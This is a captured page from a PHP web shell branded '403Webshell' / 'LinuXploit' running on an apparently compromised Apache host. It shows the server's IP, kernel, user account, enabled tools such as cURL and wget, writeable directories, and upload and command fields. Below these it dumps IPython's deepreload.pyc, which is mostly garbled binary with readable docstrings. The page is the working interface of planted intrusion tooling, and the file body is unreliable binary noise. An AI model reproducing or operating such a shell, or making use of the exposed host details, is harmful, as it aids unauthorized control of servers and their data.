403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/IPython/lib/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/IPython/lib/__pycache__/deepreload.cpython-311.pyc
�

�@�c�$����dZddlZddlmZddlZddlZddlmZddl	m
Z
ddlZejZed���Z
d�Zd�Ziad	�Zd
�Zd�Zdd
�Ziad�ZejZgej�d�d�d�d�d�d�Rfd�ZdS)a�
Provides a reload() function that acts recursively.

Python's normal :func:`python:reload` function only reloads the module that it's
passed. The :func:`reload` function in this module also reloads everything
imported from that module, which is useful when you're changing files deep
inside a package.

To use this as your default reload function, type this::

    import builtins
    from IPython.lib import deepreload
    builtins.reload = deepreload.reload

A reference to the original :func:`python:reload` is stored in this module as
:data:`original_reload`, so you can restore it later.

This code is almost entirely based on knee.py, which is a Python
re-implementation of hierarchical module import.
�N)�contextmanager)�
ModuleType)�warnc#�~K�tj}|t_	dV�|t_dS#|t_wxYw)N)�builtin_mod�
__import__)�
new_import�saved_imports  �8/usr/lib/python3/dist-packages/IPython/lib/deepreload.py�replace_import_hookr(sF�����)�L�'�K��.�
����!-���������-�-�-�-s�.�<c�\�|}|rt|t��sdS|�dd��}|�Lt|d��st	d���t|��dkr|dkrt	d���dS|}njd|vrdS|d}d	|vr|x|d<}nP|�d
��}|dcxkr|krnnt	d���|dkrd|d<dS|d|�x|d<}t|��}t|dd��D]<}	|�d
d|��}�#t$r}	t	d
��|	�d}	~	wwxYw|d|�}	tj
|}
nE#t$r8}	|dkrtd|z��d}
ntd|z��|	�Yd}	~	nd}	~	wwxYw|
|fS)a�
    parent, name = get_parent(globals, level)

    Return the package that an import is being performed in.  If globals comes
    from the module foo.bar.bat (not itself a package), this returns the
    sys.modules entry for foo.bar.  If globals is from a package's __init__.py,
    the package's entry in sys.modules is returned.

    If globals doesn't come from a package or a module in a package, or a
    corresponding entry is not found in sys.modules, None is returned.
    )N��__package__N�rindexz__package__ set to non-stringrz(Attempted relative import in non-package�__name__�__path__�.����z2attempted relative import beyond top-level packagez?Parent module '%.200s' not found while handling absolute importzAParent module '%.200s' not loaded, cannot perform relative import)�
isinstance�dict�get�hasattr�
ValueError�len�rfind�ranger�sys�modules�
BaseExceptionr�SystemError)�globals�level�
orig_level�pkgname�name�modname�lastdot�dot�x�e�parents           r�
get_parentr-1sp���J���
�7�D�1�1���x��k�k�-��.�.�G����w��)�)�	>��<�=�=�=��w�<�<�1����q�y�y� �!K�L�L�L��8�����W�$�$��8��*�%���� � �,3�3�G�M�"�T�T��m�m�C�(�(�G���"�"�"�"�U�"�"�"�"�"� �!K�L�L�L���{�{�)-��
�&��x�,3�H�W�H�,=�=�G�M�"�T�

�d�)�)�C�
�5�!�R�
 �
 �/�/��	/��+�+�c�1�c�*�*�C�C���	/�	/�	/��'�(�(�-.�
/�����	/��������:�D�	G���T�"�����G�G�G���>�>��� �!�
"�
"�
"��F�F��8�:>�?�@�@�EF�
G�
�F�F�F�F�����	G�����4�<�s0�
D%�%
E�/D?�?E�E%�%
F'�/.F"�"F'c�x�t|��dkr|d|fS|�d��}|dkrtd���|dkr|}d}n|d|�}||dzd�}|dkr|dz
}||z
}t|||��}|�||krt|||��}|�|}|�t	d|z���|||fS)zf
    mod, name, buf = load_next(mod, altmod, name, buf)

    altmod is either None or same as mod
    rNr�Empty module namerrzNo module named %.200s)r�findr�import_submodule�ImportError)�mod�altmodr&�bufr)�subname�next�results        r�	load_nextr9zs����4�y�y�A�~�~��D�#�~��
�)�)�C�.�.�C�
�a�x�x��,�-�-�-�
�Q�w�w�������t��t�*���C��E�F�F�|��
�b�y�y��s�
���7�N�C�
�c�7�C�
0�
0�F�
�~�#��-�-�!�&�'�7�;�;�����C�
�~��2�T�9�:�:�:��4����c�|�|tvr!|tjvrtj|}n�td|��dt|<tj�|d��}	|�tj|��}ntj||��}n#|r|tj|<�xYwt||||��|S)z,m = import_submodule(mod, subname, fullname)�	ReloadingrN)	�	found_nowrr�printr�	importlib�reload�
import_module�
add_submodule)r3r6�fullname�m�oldms     rr1r1�s����9����S�[�!8�!8��K��!���
�k�8�$�$�$��	�(���{���x��.�.��
	����$�T�*�*����+�G�S�9�9����	��
-�(,���H�%������c�1�h��0�0�0��Hs�&,B�B'c�X�|�dS|�tj|}t|||��dS)zmod.{subname} = submodN)rr�setattr)r3�submodrCr6s    rrBrB�s4��
�{���
�~���X�&���C��&�!�!�!�
�Fr:c�2�t|d��sdS|D]�}t|d��std���|dkr3|r�*	|j}t|||d��}|sdS�J#t$rY�VwxYwt||��st|||dz|z����dS)	z,Handle 'from module import a, b, c' imports.rNrz"Item in ``from list'' not a string�*rrr)r�	TypeError�__all__�ensure_fromlist�AttributeErrorr1)r3�fromlistr5�	recursive�item�all�rets       rrMrM�s����3�
�#�#�����:�:���t�X�&�&�	B��@�A�A�A��3�;�;��
��
��k��&�c�3��Q�7�7�����1�1���	"�
�
�
���
������d�#�#�	:��S�$��c�	�D�(8�9�9�9��:�:s�A�
A,�+A,rc���t||��\}}t||dkrdn|||��\}}}|}|rt||||��\}}}|�|�td���|s|St|||d��|S)zReplacement for __import__()rNr/)r-r9rrM)	r&r"�localsrOr#r,r5�head�tails	         r�deep_import_hookrX�s����W�e�,�,�K�F�C�����	�	���v�t�S�Q�Q�O�D�$���D�
�;�#�D�$��c�:�:���d�C��;��|��,�-�-�-������D�(�C��+�+�+��Kr:c��|tur|St|t��std���|j}|t
jvrtd|z���	t|S#|t|<YnxYw	tj
|��}n#|t
j|<�xYw	t���n#t���wxYw|S)zReplacement for reload().z reload() argument must be modulez*reload(): module %.200s not in sys.modules)�typesrrrKrrrr2�modules_reloadingr?r@�clear)rDr&�newms   r�deep_reload_hookr^�s���	�E�z�z����a��$�$�<��:�;�;�;��:�D��3�;����F��M�N�N�N�$� ��&�&��$�"#��$�������"����"�"��������D��
����	
�
	���!�!�!�!�����!�!�!�!�����Ks*�A%�%A3�7B�B<�B�B<�<Crzos.path�builtins�__main__�numpyznumpy._globalsc��|D]}dt|<�
	tt��5t|��cddd��iaS#1swxYwY	iadS#iawxYw)aMRecursively reload all modules used in the given module.  Optionally
    takes a list of modules to exclude from reloading.  The default exclude
    list contains modules listed in sys.builtin_module_names with additional
    sys, os.path, builtins and __main__, to prevent, e.g., resetting
    display, exception, and io hooks.
    rN)r=rrXr^)�module�exclude�is   rr@r@s���&�����	�!����
 �!1�
2�
2�	,�	,�#�F�+�+�	,�	,�	,�	,�	,�	,�	,��	�	�	,�	,�	,�	,����	,�	,�	,�	,�	,��	�	�	��B�	����s-�A�A�A�A�A�
A�A�A)NNNr)�__doc__r_r�
contextlibrr?rrZr�warningsrr�original_importrr-r9r=r1rBrMrXr[r^r@�original_reload�builtin_module_names�r:r�<module>rms�����6����%�%�%�%�%�%�����
�
�
�
������������������(���.�.���.�G�G�G�R$�$�$�P
�	�
�
�
�:
�
�
�:�:�:�*����,�����@�"��

�	�	!�
�
�
�	�
�	�	
�
	�
�	�

�	�
�
������r:

Youez - 2016 - github.com/yon3zu
LinuXploit